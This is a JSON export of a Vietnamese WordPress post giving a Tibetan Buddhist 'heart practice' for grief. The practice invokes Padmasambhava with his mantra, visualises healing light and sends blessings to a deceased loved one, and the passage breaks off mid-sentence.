{"id":3877,"date":"2023-12-01T10:55:50","date_gmt":"2023-12-01T03:55:50","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3877"},"modified":"2024-12-21T00:42:34","modified_gmt":"2024-12-20T17:42:34","slug":"tu-luyen-tam","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3877","title":{"rendered":"Tu luy\u1ec7n t\u00e2m"},"content":{"rendered":"<p>B\u00e2y gi\u1edd t\u00f4i mu\u1ed1n trao cho b\u1ea1n m\u1ed9t tu luy\u1ec7n c\u00f3 th\u1ec3 th\u1ef1c s\u1ef1 gi\u00fap \u0111\u1ee1 cho b\u1ea1n khi b\u1ea1n \u0111ang ph\u1ea3i ch\u1ecbu \u0111\u1ef1ng \u0111au bu\u1ed3n v\u00e0 ti\u1ebfc th\u01b0\u01a1ng s\u00e2u s\u1eafc. \u0110\u00f3 l\u00e0 b\u00e0i tu luy\u1ec7n m\u00e0 th\u1ea7y t\u00f4i Jamyang Khyentse bao gi\u1edd c\u0169ng d\u00f9ng \u0111\u1ec3 trao cho nh\u1eefng ng\u01b0\u1eddi \u0111ang tr\u1ea3i qua nh\u1eefng \u0111au kh\u1ed5 t\u00ecnh c\u1ea3m hay tinh th\u1ea7n suy s\u1ee5p, v\u00e0 t\u00f4i, t\u1eeb kinh nghi\u1ec7m ri\u00eang c\u1ee7a m\u00ecnh bi\u1ebft r\u1eb1ng n\u00f3 c\u00f3 th\u1ec3 \u0111em l\u1ea1i s\u1ef1 gi\u1ea3m nh\u1eb9 v\u00e0 an \u1ee7i r\u1ea5t l\u1edbn. Vi\u1ec7c d\u1ea1y v\u1ec1 cu\u1ed9c \u0111\u1eddi c\u1ee7a ai \u0111\u00f3 trong m\u1ed9t th\u1ebf gi\u1edbi nh\u01b0 c\u1ee7a ch\u00fang ta l\u00e0 kh\u00f4ng d\u1ec5 d\u00e0ng. Khi t\u00f4i c\u00f2n tr\u1ebb \u0111\u00e3 c\u00f3 nhi\u1ec1u kho\u1ea3nh kh\u1eafc c\u1ee7a kh\u1ee7ng ho\u1ea3ng v\u00e0 kh\u00f3 kh\u0103n, v\u00e0 th\u1ebf r\u1ed3i t\u00f4i bao gi\u1edd c\u0169ng kh\u1ea9n c\u1ea7u Li\u00ean Hoa Sinh, nh\u01b0 t\u00f4i bao gi\u1edd c\u0169ng v\u1eabn l\u00e0m, ngh\u0129 t\u1edbi ng\u01b0\u1eddi c\u00f9ng c\u00e1ch nh\u01b0 v\u1edbi m\u1ecdi th\u1ea7y c\u1ee7a t\u00f4i. V\u00e0 nh\u01b0 v\u1eady t\u00f4i \u0111\u00e3 kh\u00e1m ph\u00e1 ra cho b\u1ea3n th\u00e2n t\u00f4i c\u00e1ch tu luy\u1ec7n n\u00e0y \u0111ang bi\u1ebfn \u0111\u1ed5i th\u1ebf n\u00e0o, v\u00e0 t\u1ea1i sao m\u1ecdi th\u1ea7y c\u1ee7a t\u00f4i th\u01b0\u1eddng n\u00f3i r\u1eb1ng tu luy\u1ec7n v\u1ec1 Li\u00ean Hoa Sinh l\u00e0 h\u1eefu d\u1ee5ng nh\u1ea5t khi b\u1ea1n ph\u1ea3i tr\u1ea3i qua nh\u1eefng r\u1ed1i lo\u1ea1n, v\u00ec n\u00f3 c\u00f3 s\u1ee9c m\u1ea1nh b\u1ea1n c\u1ea7n \u0111\u1ec3 \u0111\u1ea3m nhi\u1ec7m v\u00e0 s\u1ed1ng c\u00f2n trong s\u1ef1 r\u1ed1i ren h\u1ed7n \u0111\u1ed9n c\u1ee7a th\u1eddi \u0111\u1ea1i n\u00e0y.<\/p>\n<p>V\u1eady b\u1ea5t k\u00ec khi n\u00e0o b\u1ea1n th\u1ea5t v\u1ecdng, kh\u1ed5 hay ch\u00e1n n\u1ea3n, b\u1ea5t k\u00ec khi n\u00e0o b\u1ea1n c\u1ea3m th\u1ea5y b\u1ea1n kh\u00f4ng th\u1ec3 ti\u1ebfp t\u1ee5c \u0111\u01b0\u1ee3c n\u1eefa, hay b\u1ea1n c\u1ea3m th\u1ea5y tim b\u1ea1n tan v\u1ee1, t\u00f4i khuy\u00ean b\u1ea1n n\u00ean l\u00e0m tu luy\u1ec7n n\u00e0y. \u0110i\u1ec1u ki\u1ec7n duy nh\u1ea5t \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 c\u1ee7a tu luy\u1ec7n n\u00e0y l\u00e0 b\u1ea1n c\u1ea7n l\u00e0m n\u00f3 v\u1edbi t\u1ea5t c\u1ea3 s\u1ee9c m\u1ea1nh c\u1ee7a b\u1ea1n, v\u00e0 b\u1ea1n c\u1ea7n ph\u1ea3i h\u1ecfi, th\u1ef1c s\u1ef1 h\u1ecfi s\u1ef1 gi\u00fap \u0111\u1ee1.<\/p>\n<p>Ngay c\u1ea3 n\u1ebfu b\u1ea1n tu luy\u1ec7n thi\u1ec1n, b\u1ea1n s\u1ebd c\u00f3 nh\u1eefng n\u1ed7i \u0111au v\u00e0 kh\u1ed5 v\u1ec1 c\u1ea3m x\u00fac, v\u00e0 nhi\u1ec1u \u0111i\u1ec1u t\u1eeb c\u00e1c ki\u1ebfp s\u1ed1ng qu\u00e1 kh\u1ee9 hay ki\u1ebfp s\u1ed1ng n\u00e0y c\u00f3 th\u1ec3 n\u1ed5i l\u00ean khi\u1ebfn cho b\u1ea1n kh\u00f3 c\u00f3 \u0111\u1ed1i di\u1ec7n. B\u1ea1n c\u00f3 th\u1ec3 th\u1ea5y b\u1ea1n kh\u00f4ng c\u00f3 tr\u00ed hu\u1ec7 hay s\u1ef1 \u1ed5n \u0111\u1ecbnh trong thi\u1ec1n c\u1ee7a b\u1ea1n \u0111\u1ec3 gi\u1ea3i quy\u1ebft ch\u00fang, v\u00e0 r\u1eb1ng thi\u1ec1n c\u1ee7a b\u1ea1n theo c\u00e1ch c\u1ee7a b\u1ea1n v\u1eabn ch\u01b0a \u0111\u1ee7. \u0110i\u1ec1u b\u1ea1n c\u1ea7n v\u1eady l\u00e0 c\u00e1i t\u00f4i g\u1ecdi l\u00e0 &#8220;tu luy\u1ec7n t\u00e2m.&#8221; T\u00f4i bao gi\u1edd c\u0169ng c\u1ea3m th\u1ea5y bu\u1ed3n v\u00ec m\u1ecdi ng\u01b0\u1eddi kh\u00f4ng c\u00f3 tu luy\u1ec7n nh\u01b0 \u0111i\u1ec1u n\u00e0y \u0111\u1ec3 gi\u00fap h\u1ecd v\u00e0o nh\u1eefng l\u00fac ch\u00e1n n\u1ea3n, v\u00ec n\u1ebfu b\u1ea1n l\u00e0m, b\u1ea1n s\u1ebd th\u1ea5y b\u1ea1n c\u00f3 c\u00e1i g\u00ec \u0111\u00f3 qu\u00ed gi\u00e1 v\u00f4 ng\u1ea7n, n\u00f3 c\u0169ng s\u1ebd tr\u1edf th\u00e0nh m\u1ed9t ngu\u1ed3n bi\u1ebfn \u0111\u1ed5i v\u00e0 s\u1ee9c m\u1ea1nh li\u00ean t\u1ee5c.<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li><em> Kh\u1ea9n c\u1ea7u <\/em><\/li>\n<\/ol>\n<p>Kh\u1ea9n c\u1ea7u trong b\u1ea7u tr\u1eddi ph\u00eda tr\u01b0\u1edbc b\u1ea1n s\u1ef1 hi\u1ec7n di\u1ec7n c\u1ee7a b\u1ea5t k\u00ec ng\u01b0\u1eddi ch\u1ee9ng ng\u1ed9 n\u00e0o g\u00e2y h\u1ee9ng kh\u1edfi cho b\u1ea1n nh\u1ea5t, v\u00e0 coi r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 l\u00e0 hi\u1ec7n th\u00e2n c\u1ee7a m\u1ecdi ch\u01b0 ph\u1eadt, b\u1ed3 t\u00e1t v\u00e0 th\u1ea7y. \u0110\u1ed1i v\u1edbi t\u00f4i, nh\u01b0 t\u00f4i \u0111\u00e3 n\u00f3i, hi\u1ec7n th\u00e2n n\u00e0y l\u00e0 Li\u00ean Hoa Sinh. Cho d\u00f9 b\u1ea1n kh\u00f4ng th\u1ec3 t\u01b0\u1edfng t\u01b0\u1ee3ng \u0111\u01b0\u1ee3c trong m\u1eaft c\u1ee7a t\u00e2m tr\u00ed b\u1ea1n b\u1ea5t k\u00ec h\u00ecnh th\u1ec3 n\u00e0o, ch\u1ec9 c\u1ea7n c\u1ea3m th\u1ea5y s\u1ef1 hi\u1ec7n di\u1ec7n m\u1ea1nh m\u1ebd v\u00e0 kh\u1ea9n c\u1ea7u s\u1ee9c m\u1ea1nh v\u00f4 bi\u00ean, t\u1eeb bi v\u00e0 ph\u00fac l\u00e0nh c\u1ee7a v\u1ecb \u0111\u00f3.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"2\">\n<li><em> G\u1ecdi ra <\/em><\/li>\n<\/ol>\n<p>M\u1edf l\u00f2ng b\u1ea1n v\u00e0 kh\u1ea9n c\u1ea7u cho ng\u01b0\u1eddi \u0111\u00f3 v\u1edbi m\u1ecdi n\u1ed7i \u0111au v\u00e0 kh\u1ed5 b\u1ea1n c\u1ea3m th\u1ea5y. N\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y mu\u1ed1n kh\u00f3c, \u0111\u1eebng k\u00ecm l\u1ea1i: \u0111\u1ec3 n\u01b0\u1edbc m\u1eaft tu\u00f4n r\u01a1i, v\u00e0 th\u1ef1c s\u1ef1 h\u1ecfi s\u1ef1 gi\u00fap \u0111\u1ee1. Bi\u1ebft r\u1eb1ng c\u00f3 ai \u0111\u00f3 tuy\u1ec7t \u0111\u1ed1i \u1edf \u0111\u1ea5y v\u1edbi b\u1ea1n, ai \u0111\u00f3 \u0111ang nghe b\u1ea1n, ng\u01b0\u1eddi hi\u1ec3u b\u1ea1n v\u1edbi t\u00ecnh y\u00eau v\u00e0 t\u1eeb bi, kh\u00f4ng bao gi\u1edd ph\u00e1n x\u00e9t b\u1ea1n: m\u1ed9t ng\u01b0\u1eddi b\u1ea1n t\u1ed1i th\u01b0\u1ee3ng. G\u1ecdi ng\u01b0\u1eddi \u0111\u00f3 t\u1eeb chi\u1ec1u s\u00e2u n\u1ed7i \u0111au c\u1ee7a b\u1ea1n, d\u00f9ng m\u1eadt ch\u00fa OM AH HUM VAJRA GURU PADMA SIDDHI HUM, m\u1eadt ch\u00fa \u0111\u00e3 \u0111\u01b0\u1ee3c h\u00e0ng tr\u0103m ngh\u00ecn ng\u01b0\u1eddi d\u00f9ng h\u00e0ng th\u1ebf k\u1ec9 nay nh\u01b0 m\u1ed9t ngu\u1ed3n ch\u1eefa l\u00e0nh thu\u1ea7n khi\u1ebft v\u00e0 b\u1ea3o v\u1ec7.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"3\">\n<li><em> R\u00f3t \u0111\u1ea7y t\u00e2m b\u1eb1ng ph\u00fac l\u1ea1c <\/em><\/li>\n<\/ol>\n<p>T\u01b0\u1edfng t\u01b0\u1ee3ng v\u00e0 bi\u1ebft b\u00e2y gi\u1edd r\u1eb1ng v\u1ecb ph\u1eadt b\u1ea1n \u0111ang kh\u00f3c m\u1eddi \u0111\u00e3 \u0111\u00e1p \u1ee9ng, v\u1edbi t\u1ea5t c\u1ea3 t\u00ecnh y\u00eau, t\u1eeb bi, tr\u00ed hu\u1ec7 v\u00e0 s\u1ee9c m\u1ea1nh c\u1ee7a v\u1ecb \u0111\u00f3. Nh\u1eefng tia s\u00e1ng r\u1ef1c r\u1ee1 t\u1eeb v\u1ecb \u0111\u00f3 chi\u1ebfu th\u1eb3ng v\u00e0o b\u1ea1n. T\u01b0\u1edfng t\u01b0\u1ee3ng \u00e1nh s\u00e1ng \u0111\u00f3 nh\u01b0 n\u01b0\u1edbc cam l\u1ed3, r\u00f3t \u0111\u1ea7y trong l\u00f2ng b\u1ea1n ho\u00e0n to\u00e0n, v\u00e0 bi\u1ebfn m\u1ecdi kh\u1ed5 c\u1ee7a b\u1ea1n th\u00e0nh ph\u00fac l\u1ea1c.<\/p>\n<p>&nbsp;<\/p>\n<p>M\u1ed9t c\u00e1ch theo \u0111\u00f3 Li\u00ean Hoa Sinh xu\u1ea5t hi\u1ec7n l\u00e0 ng\u01b0\u1eddi ng\u1ed3i trong t\u01b0 th\u1ebf thi\u1ec1n, m\u1eb7c \u00e1o th\u1ee5ng, to\u00e1t ra m\u1ed9t c\u1ea3m gi\u00e1c tho\u1ea3i m\u00e1i \u1ea5m \u00e1p v\u00e0 \u1ea5m c\u00fang, v\u1edbi n\u1ee5 c\u01b0\u1eddi \u0111\u00f4n h\u1eadu tr\u00ean m\u1eb7t. Trong s\u1ef1 ph\u00e1t to\u1ea3 \u0111\u00f3 ng\u01b0\u1eddi \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 &#8220;Ph\u00fac l\u1ea1c l\u1edbn.&#8221; Hai tay ng\u01b0\u1eddi \u0111\u1eb7t th\u1ea3nh th\u01a1i tr\u00ean \u0111\u00f9i, n\u00e2ng m\u1ed9t chi\u1ebfc c\u1ed1c l\u00e0m b\u1eb1ng ch\u00f3p x\u01b0\u01a1ng s\u1ecd. C\u1ed1c n\u00e0y \u0111\u1ea7y n\u01b0\u1edbc cam l\u1ed3 c\u1ee7a Ph\u00fac l\u1ea1c l\u1edbn, cu\u1ed9n xo\u00e1y v\u00e0 l\u1ea5p l\u00e1nh, c\u1ed9i ngu\u1ed3n c\u1ee7a m\u1ecdi vi\u1ec7c ch\u1eefa l\u00e0nh. Ng\u01b0\u1eddi ng\u1ed3i an b\u00ecnh tr\u00ean to\u00e0 sen n\u1edf, \u0111\u01b0\u1ee3c bao quanh b\u1edfi m\u1ed9t h\u00ecnh c\u1ea7u \u00e1nh s\u00e1ng lung linh.<\/p>\n<p>Ngh\u0129 v\u1ec1 ng\u01b0\u1eddi nh\u01b0 h\u01a1i \u1ea5m v\u00f4 h\u1ea1n v\u00e0 y\u00eau th\u01b0\u01a1ng, m\u1eb7t tr\u1eddi ph\u00fac l\u1ea1c, tho\u1ea3i m\u00e1i, an b\u00ecnh v\u00e0 ch\u1eefa l\u00e0nh. M\u1edf l\u00f2ng b\u1ea1n, \u0111\u1ec3 m\u1ecdi n\u1ed7i \u0111au kh\u1ed5 ch\u1ea3y ra; kh\u00f3c xin s\u1ef1 gi\u00fap \u0111\u1ee1. V\u00e0 n\u00f3i m\u1eadt ch\u00fa c\u1ee7a ng\u01b0\u1eddi: OM AH HUM VAJRA GURU PADMA SIDDHI HUM.<\/p>\n<p>B\u00e2y gi\u1edd t\u01b0\u1edfng t\u01b0\u1ee3ng h\u00e0ng ngh\u00ecn tia s\u00e1ng to\u1ea3 ra t\u1eeb th\u00e2n c\u1ee7a ng\u01b0\u1eddi hay t\u1eeb tim ng\u01b0\u1eddi: T\u01b0\u1edfng t\u01b0\u1ee3ng r\u1eb1ng n\u01b0\u1edbc cam l\u1ed3 c\u1ee7a Ph\u00fac l\u1ea1c l\u1edbn trong chi\u1ebfc c\u1ed1c x\u01b0\u01a1ng s\u1ecd trong tay ng\u01b0\u1eddi tu\u00f4n tr\u00e0n v\u1edbi ni\u1ec1m vui v\u00e0 r\u00f3t xu\u1ed1ng ng\u01b0\u1eddi b\u1ea1n th\u00e0nh m\u1ed9t d\u00f2ng \u00e1nh s\u00e1ng l\u1ecfng m\u00e0u v\u00e0ng li\u00ean t\u1ee5c. N\u00f3 ch\u1ea3y v\u00e0o tim b\u1ea1n, r\u00f3t \u0111\u1ea7y tim v\u00e0 bi\u1ebfn n\u1ed7i \u0111au kh\u1ed5 c\u1ee7a b\u1ea1n th\u00e0nh ph\u00fac l\u1ea1c.<\/p>\n<p>N\u01b0\u1edbc cam l\u1ed3 n\u00e0y ch\u1ea3y t\u1eeb Li\u00ean Hoa Sinh c\u1ee7a Ph\u00fac l\u1ea1c l\u1edbn l\u00e0 vi\u1ec7c tu luy\u1ec7n k\u00ec di\u1ec7u m\u00e0 th\u1ea7y t\u00f4i \u0111\u00e3 d\u00f9ng \u0111\u1ec3 truy\u1ec1n d\u1ea1y: n\u00f3 bao gi\u1edd c\u0169ng cho t\u00f4i ngu\u1ed3n h\u1ee9ng kh\u1edfi l\u1edbn lao v\u00e0 gi\u00fap \u0111\u1ee1 trong nh\u1eefng l\u00fac th\u1ef1c s\u1ef1 c\u1ea7n thi\u1ebft.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"4\">\n<li><em> Gi\u00fap \u0111\u1ee1 ng\u01b0\u1eddi ch\u1ebft <\/em><\/li>\n<\/ol>\n<p>Khi b\u1ea1n l\u00e0m tu luy\u1ec7n n\u00e0y l\u1eb7p \u0111i l\u1eb7p l\u1ea1i, n\u00f3i m\u1eadt ch\u00fa n\u00e0y v\u00e0 r\u00f3t \u0111\u1ea7y tim b\u1ea1n v\u1edbi ph\u00fac l\u1ea1c, d\u1ea7n d\u1ea7n kh\u1ed5 c\u1ee7a b\u1ea1n s\u1ebd tan bi\u1ebfn trong an b\u00ecnh tin t\u01b0\u1edfng c\u1ee7a b\u1ea3n t\u00ednh t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n. B\u1ea1n s\u1ebd nh\u1eadn ra, v\u1edbi ni\u1ec1m vui v\u00e0 s\u01b0\u1edbng, r\u1eb1ng ch\u01b0 ph\u1eadt kh\u00f4ng ph\u1ea3i \u1edf ngo\u00e0i b\u1ea1n m\u00e0 bao gi\u1edd c\u0169ng c\u00f9ng b\u1ea1n, kh\u00f4ng t\u00e1ch r\u1eddi kh\u1ecfi b\u1ea3n t\u00ednh t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n. V\u00e0 \u0111i\u1ec1u h\u1ecd \u0111\u00e3 l\u00e0m th\u00f4ng qua ph\u00fac l\u00e0nh c\u1ee7a h\u1ecd l\u00e0 trao quy\u1ec1n v\u00e0 nu\u00f4i d\u01b0\u1ee1ng b\u1ea1n b\u1eb1ng ni\u1ec1m tin v\u00e0o v\u1ecb ph\u1eadt b\u00ean trong b\u1ea1n.<\/p>\n<p>B\u00e2y gi\u1edd, v\u1edbi m\u1ecdi s\u1ee9c m\u1ea1nh v\u00e0 tin t\u01b0\u1edfng m\u00e0 tu luy\u1ec7n n\u00e0y \u0111\u00e3 cho b\u1ea1n, t\u01b0\u1edfng t\u01b0\u1ee3ng b\u1ea1n \u0111ang g\u1eedi ph\u00fac l\u00e0nh n\u00e0y, \u00e1nh s\u00e1ng t\u1eeb bi ch\u1eefa l\u00e0nh c\u1ee7a ng\u01b0\u1eddi ch\u1ee9ng ng\u1ed9, t\u1edbi ng\u01b0\u1eddi b\u1ea1n y\u00eau m\u1ebfn nay \u0111\u00e3 khu\u1ea5t. \u0110i\u1ec1u n\u00e0y \u0111\u1eb7c bi\u1ec7t thi\u1ebft y\u1ebfu trong tr\u01b0\u1eddng h\u1ee3p m\u1ed9t ng\u01b0\u1eddi \u0111\u00e3 ph\u1ea3i ch\u1ecbu ch\u1ebft do ch\u1ea5n th\u01b0\u01a1ng, v\u00ec n\u00f3 bi\u1ebfn \u0111\u1ed5i \u0111au c\u1ee7a h\u1ecd v\u00e0 \u0111em l\u1ea1i cho h\u1ecd an b\u00ecnh v\u00e0 ph\u00fac l\u1ea1c. Trong qu\u00e1 kh\u1ee9, b\u1ea1n c\u00f3 th\u1ec3 \u0111\u00e3 c\u1ea3m th\u1ea5y b\u1ea5t l\u1ef1c trong n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng v\u00e0 b\u1ea5t l\u1ef1c kh\u00f4ng gi\u00fap \u0111\u01b0\u1ee3c cho ng\u01b0\u1eddi b\u1ea1n th\u00e2n, nh\u01b0ng b\u00e2y gi\u1edd th\u00f4ng qua tu luy\u1ec7n n\u00e0y b\u1ea1n c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c an \u1ee7i, c\u1ed5 v\u0169 v\u00e0 trao quy\u1ec1n \u0111\u1ec3 gi\u00fap \u0111\u1ee1 cho ng\u01b0\u1eddi ch\u1ebft.<\/p>\n<p>&nbsp;<\/p>\n<p>GI\u1eee T\u1ea4M L\u00d2NG M\u1ede<\/p>\n<p>\u0110\u1eebng tr\u00f4ng \u0111\u1ee3i k\u1ebft qu\u1ea3 ngay l\u1eadp t\u1ee9c, hay ph\u00e9p m\u00e0u. Ch\u1ec9 sau m\u1ed9t th\u1eddi gian, hay th\u1eadm ch\u00ed c\u00f2n l\u00e2u h\u01a1n n\u1eefa, khi b\u1ea1n \u00edt mong \u0111\u1ee3i v\u1ec1 n\u00f3 nh\u1ea5t, r\u1eb1ng \u0111au c\u1ee7a b\u1ea1n s\u1ebd chuy\u1ec3n d\u1ecbch. Kh\u00f4ng c\u00f3 b\u1ea5t k\u00ec mong \u0111\u1ee3i n\u00e0o r\u1eb1ng n\u00f3 s\u1ebd &#8220;l\u00e0m vi\u1ec7c,&#8221; v\u00e0 k\u1ebft th\u00fac n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a b\u1ea1n m\u1ed9t l\u1ea7n l\u00e0 xong. \u0110\u1ec3 m\u1edf n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a b\u1ea1n, c\u0169ng nh\u01b0 l\u00e0 b\u1ea1n m\u1edf v\u1edbi ng\u01b0\u1eddi ch\u1ee9ng ng\u1ed9 v\u00e0 ch\u01b0 ph\u1eadt trong tu luy\u1ec7n.<\/p>\n<p>B\u1ea1n th\u1eadm ch\u00ed c\u00f3 th\u1ec3 c\u00f2n \u0111i t\u1edbi c\u1ea3m th\u1ea5y s\u1ef1 bi\u1ebft \u01a1n huy\u1ec1n b\u00ed v\u1ec1 kh\u1ed5 c\u1ee7a b\u1ea1n, v\u00ec n\u00f3 cho b\u1ea1n c\u01a1 h\u1ed9i th\u1ebf \u0111\u1ec3 l\u00e0m vi\u1ec7c qua \u0111i\u1ec1u \u0111\u00f3 v\u00e0 bi\u1ebfn \u0111\u1ed5i \u0111i\u1ec1u \u0111\u00f3. Kh\u00f4ng c\u00f3 n\u00f3 b\u1ea1n ch\u1eafc s\u1ebd kh\u00f4ng bao gi\u1edd c\u00f3 kh\u1ea3 n\u0103ng kh\u00e1m ph\u00e1 ra c\u00e1i \u1ea9n trong t\u1ef1 nhi\u00ean v\u00e0 chi\u1ec1u s\u00e2u c\u1ee7a kh\u1ed5 l\u00e0 kho b\u00e1u ph\u00fac l\u1ea1c. Nh\u1eefng l\u00fac b\u1ea1n \u0111ang kh\u1ed5 c\u00f3 th\u1ec3 l\u00e0 l\u00fac b\u1ea1n m\u1edf nh\u1ea5t v\u00e0 n\u01a1i b\u1ea1n c\u1ef1c k\u00ec mong manh c\u00f3 th\u1ec3 l\u00e0 n\u01a1i s\u1ee9c m\u1ea1nh l\u1edbn nh\u1ea5t c\u1ee7a b\u1ea1n \u1edf \u0111\u00f3.<\/p>\n<p>Th\u1ebf r\u1ed3i n\u00f3i v\u1edbi b\u1ea3n th\u00e2n b\u1ea1n: &#8220;T\u00f4i kh\u00f4ng tr\u1ed1n ch\u1ea1y kh\u1ecfi n\u1ed7i \u0111au n\u00e0y. T\u00f4i mu\u1ed1n d\u00f9ng n\u00f3 theo c\u00e1ch t\u1ed1t nh\u1ea5t v\u00e0 phong ph\u00fa nh\u1ea5t t\u00f4i c\u00f3 th\u1ec3 d\u00f9ng, \u0111\u1ec3 cho t\u00f4i c\u00f3 th\u1ec3 tr\u1edf n\u00ean t\u1eeb bi h\u01a1n v\u00e0 gi\u00fap \u00edch h\u01a1n cho nh\u1eefng ng\u01b0\u1eddi kh\u00e1c.&#8221; Sau r\u1ed1t, kh\u1ed5 c\u00f3 th\u1ec3 d\u1ea1y cho ch\u00fang ta v\u1ec1 t\u1eeb bi. N\u1ebfu b\u1ea1n kh\u1ed5 b\u1ea1n s\u1ebd bi\u1ebft n\u00f3 l\u00e0 th\u1ebf n\u00e0o khi ng\u01b0\u1eddi kh\u00e1c kh\u1ed5. V\u00e0 n\u1ebfu b\u1ea1n \u0111ang \u1edf v\u1ecb tr\u00ed gi\u00fap \u0111\u1ee1 ng\u01b0\u1eddi kh\u00e1c, ch\u00ednh th\u00f4ng qua n\u1ed7i \u0111au c\u1ee7a b\u1ea1n m\u00e0 b\u1ea1n s\u1ebd t\u00ecm ra vi\u1ec7c hi\u1ec3u v\u00e0 t\u1eeb bi \u0111\u1ec3 l\u00e0m nh\u01b0 v\u1eady.<\/p>\n<p>Cho n\u00ean b\u1ea5t k\u00ec c\u00e1i g\u00ec b\u1ea1n l\u00e0m, \u0111\u1eebng \u0111\u00f3ng k\u00edn \u0111au c\u1ee7a b\u1ea1n; ch\u1ea5p nh\u1eadn \u0111au c\u1ee7a b\u1ea1n v\u00e0 v\u1eabn c\u00f2n mong manh. D\u00f9 b\u1ea1n c\u00f3 tuy\u1ec7t v\u1ecdng \u0111\u1ebfn \u0111\u00e2u, ch\u1ea5p nh\u1eadn \u0111au c\u1ee7a b\u1ea1n nh\u01b0 th\u1ef1c t\u1ea1i, v\u00ec th\u1ef1c ra n\u1ed7i \u0111au \u0111ang trao cho b\u1ea1n m\u1ed9t m\u00f3n qu\u00e0 v\u00f4 gi\u00e1: c\u01a1 h\u1ed9i kh\u00e1m ph\u00e1, th\u00f4ng qua tu luy\u1ec7n t\u00e2m linh, c\u00e1i n\u1eb1m sau n\u1ed7i bu\u1ed3n. Rumi \u0111\u00e3 vi\u1ebft &#8220;\u0110au bu\u1ed3n c\u00f3 th\u1ec3 l\u00e0 khu v\u01b0\u1eddn c\u1ee7a t\u1eeb bi.&#8221; N\u1ebfu b\u1ea1n gi\u1eef cho tim b\u1ea1n r\u1ed9ng m\u1edf v\u1edbi m\u1ecdi th\u1ee9, n\u1ed7i \u0111au c\u1ee7a b\u1ea1n c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh \u0111\u1ed3ng minh l\u1edbn nh\u1ea5t trong vi\u1ec7c t\u00ecm ki\u1ebfm t\u00ecnh y\u00eau v\u00e0 tr\u00ed hu\u1ec7 c\u1ee7a cu\u1ed9c \u0111\u1eddi b\u1ea1n.<\/p>\n<p>V\u00e0 ch\u1eb3ng l\u1ebd ch\u00fang ta kh\u00f4ng bi\u1ebft, bi\u1ebft r\u00f5 qu\u00e1 \u0111i ch\u1ee9, r\u1eb1ng vi\u1ec7c b\u1ea3o v\u1ec7 kh\u1ecfi kh\u1ed5 kh\u00f4ng c\u00f3 t\u00e1c d\u1ee5ng, v\u00e0 r\u1eb1ng khi ch\u00fang ta c\u1ed1 ph\u00f2ng th\u1ee7 b\u1ea3n th\u00e2n ch\u00fang ta kh\u1ecfi kh\u1ed5, ch\u00fang ta l\u1ea1i ch\u1ec9 c\u00e0ng kh\u1ed5 th\u00eam v\u00e0 kh\u00f4ng h\u1ecdc \u0111\u01b0\u1ee3c \u0111i\u1ec1u ch\u00fang ta c\u00f3 th\u1ec3 h\u1ecdc t\u1eeb kinh nghi\u1ec7m \u0111\u00f3 sao? Nh\u01b0 Rilke \u0111\u00e3 vi\u1ebft, t\u1ea5m l\u00f2ng \u0111\u01b0\u1ee3c b\u1ea3o v\u1ec7 m\u00e0 &#8220;kh\u00f4ng bao gi\u1edd b\u1ecb ph\u01a1i ra cho m\u1ea5t m\u00e1t, h\u1ed3n nhi\u00ean v\u00e0 an ninh, th\u00ec kh\u00f4ng th\u1ec3 bi\u1ebft t\u1edbi \u00e2u y\u1ebfm; ch\u1ec9 c\u00f3 t\u1ea5m l\u00f2ng \u0111\u01b0\u1ee3c gi\u00e0nh l\u1ea1i m\u1edbi c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c tho\u1ea3 m\u00e3n: t\u1ef1 do, qua m\u1ecdi th\u1ee9 n\u00f3 \u0111\u00e3 t\u1eeb b\u1ecf, \u0111\u1ec3 h\u00e2n hoan trong quy\u1ec1n l\u00e0m ch\u1ee7 c\u1ee7a n\u00f3.&#8221;<a href=\"#_edn1\" name=\"_ednref1\">[i]<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>CH\u1ea4M D\u1ee8T TI\u1ebeC TH\u01af\u01a0NG V\u00c0 H\u1eccC QUA TI\u1ebeC TH\u01af\u01a0NG<\/p>\n<p>Khi b\u1ea1n b\u1ecb tr\u00e0n ng\u1eadp b\u1edfi \u0111au kh\u1ed5, th\u1eed g\u00e2y h\u1ee9ng kh\u1edfi cho b\u1ea3n th\u00e2n b\u1ea1n theo m\u1ed9t trong nhi\u1ec1u c\u00e1ch m\u00e0 t\u00f4i \u0111\u00e3 nh\u1eafc t\u1edbi t\u1edbi khi t\u00f4i n\u00f3i v\u1ec1 tu luy\u1ec7n thi\u1ec1n \u1edf ch\u01b0\u01a1ng 5, &#8220;Mang t\u00e2m tr\u00ed v\u1ec1 nh\u00e0.&#8221; M\u1ed9t trong nh\u1eefng ph\u01b0\u01a1ng ph\u00e1p m\u1ea1nh nh\u1ea5t t\u00f4i \u0111\u00e3 th\u1ea5y \u0111\u1ec3 l\u00e0m d\u1ecbu v\u00e0 tan bi\u1ebfn bu\u1ed3n l\u00e0 \u0111i v\u00e0o thi\u00ean nhi\u00ean, v\u00e0 \u0111\u1eb7c bi\u1ec7t l\u00e0 \u0111\u1ee9ng v\u00e0 suy ng\u1eabm b\u00ean c\u1ea1nh th\u00e1c n\u01b0\u1edbc, \u0111\u1ec3 n\u01b0\u1edbc m\u1eaft v\u00e0 n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a b\u1ea1n ch\u1ea3y ra kh\u1ecfi b\u1ea1n v\u00e0 l\u00e0m thu\u1ea7n khi\u1ebft b\u1ea1n, nh\u01b0 n\u01b0\u1edbc ch\u1ea3y xu\u00f4i. Hay b\u1ea1n c\u00f3 th\u1ec3 \u0111\u1ecdc 